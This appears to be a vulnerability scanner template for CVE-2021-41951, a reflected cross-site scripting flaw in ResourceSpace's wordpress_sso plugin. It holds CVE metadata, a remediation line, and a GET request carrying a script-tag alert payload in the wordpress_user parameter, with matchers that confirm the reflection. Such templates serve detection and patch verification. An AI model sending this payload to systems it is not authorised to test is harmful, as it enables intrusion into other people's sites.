id: CVE-2021-41951

info:
  name: Resourcespace - Cross-Site Scripting
  author: coldfish
  severity: medium
  description: ResourceSpace before 9.6 rev 18290 is affected by a reflected cross-site scripting vulnerability in plugins/wordpress_sso/pages/index.php via the wordpress_user parameter.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41951
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41951
    cwe-id: CWE-79
    epss-score: 0.7632
    epss-percentile: 0.97851
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: montala
    product: resourcespace
  tags: cve,cve2021,xss,resourcespace

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "TEST<script>alert(1)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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